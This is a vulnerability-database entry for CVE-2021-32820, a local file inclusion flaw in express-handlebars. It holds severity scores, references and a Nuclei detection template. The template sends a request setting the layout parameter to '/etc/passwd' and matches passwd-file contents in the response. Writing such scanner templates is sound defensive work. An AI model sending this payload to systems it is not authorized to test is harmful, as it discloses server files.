Lucene search

K
nucleiProjectDiscoveryNUCLEI:CVE-2021-32820
HistoryJul 21, 2021 - 5:10 a.m.

Express-handlebars - Local File Inclusion

2021-07-2105:10:13
ProjectDiscovery
github.com
19

5 Medium

CVSS2

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

NONE

Availability Impact

NONE

AV:N/AC:L/Au:N/C:P/I:N/A:N

8.6 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

CHANGED

Confidentiality Impact

HIGH

Integrity Impact

NONE

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N

8.4 High

AI Score

Confidence

High

0.021 Low

EPSS

Percentile

89.1%

Express-handlebars is susceptible to local file inclusion because it mixes pure template data with engine configuration options through the Express render API. More specifically, the layout parameter may trigger file disclosure vulnerabilities in downstream applications. This potential vulnerability is somewhat restricted in that only files with existing extensions (i.e., file.extension) can be included. Files that lack an extension will have .handlebars appended to them. For complete details refer to the referenced GHSL-2021-018 report. Notes in documentation have been added to help users avoid this potential information exposure vulnerability.

id: CVE-2021-32820

info:
  name: Express-handlebars - Local File Inclusion
  author: dhiyaneshDk
  severity: high
  description: Express-handlebars is susceptible to local file inclusion because it mixes pure template data with engine configuration options through the Express render API. More specifically, the layout parameter may trigger file disclosure vulnerabilities in downstream applications. This potential vulnerability is somewhat restricted in that only files with existing extensions (i.e., file.extension) can be included. Files that lack an extension will have .handlebars appended to them. For complete details refer to the referenced GHSL-2021-018 report. Notes in documentation have been added to help users avoid this potential information exposure vulnerability.
  impact: |
    An attacker can exploit this vulnerability to read arbitrary files on the server, potentially leading to unauthorized access or sensitive information disclosure.
  remediation: |
    Update to the latest version of Express-handlebars to mitigate the vulnerability.
  reference:
    - https://securitylab.github.com/advisories/GHSL-2021-018-express-handlebars/
    - https://github.com/detectify/ugly-duckling/blob/master/modules/crowdsourced/CVE-2021-32820.json
    - https://github.com/express-handlebars/express-handlebars/pull/163
    - https://nvd.nist.gov/vuln/detail/CVE-2021-32820
    - https://github.com/express-handlebars/express-handlebars/blob/78c47a235c4ad7bc2674bddd8ec2721567ed8c72/README.md#danger-
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
    cvss-score: 8.6
    cve-id: CVE-2021-32820
    cwe-id: CWE-94,CWE-200
    epss-score: 0.01756
    epss-percentile: 0.8795
    cpe: cpe:2.3:a:express_handlebars_project:express_handlebars:*:*:*:*:*:node.js:*:*
  metadata:
    max-request: 1
    vendor: express_handlebars_project
    product: express_handlebars
    framework: node.js
  tags: cve2021,cve,expressjs,lfi,xxe,express_handlebars_project,node.js

http:
  - method: GET
    path:
      - "{{BaseURL}}/?layout=/etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"
          - "daemon:[x*]:0:0:"
          - "operator:[x*]:0:0:"
        condition: or

      - type: status
        status:
          - 200
# digest: 490a00463044022047a0dfe26c2110b4bc702f0974b7c3b58a04fc16b64d066386db40b7fccf393702201743ed87b6aeef5e2d87a5720642eadcbd8e5e53f575da9c78a7b8095ffd7e8a:922c64590222798bb761d5b6d8e72950

5 Medium

CVSS2

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

NONE

Availability Impact

NONE

AV:N/AC:L/Au:N/C:P/I:N/A:N

8.6 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

CHANGED

Confidentiality Impact

HIGH

Integrity Impact

NONE

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N

8.4 High

AI Score

Confidence

High

0.021 Low

EPSS

Percentile

89.1%

Related for NUCLEI:CVE-2021-32820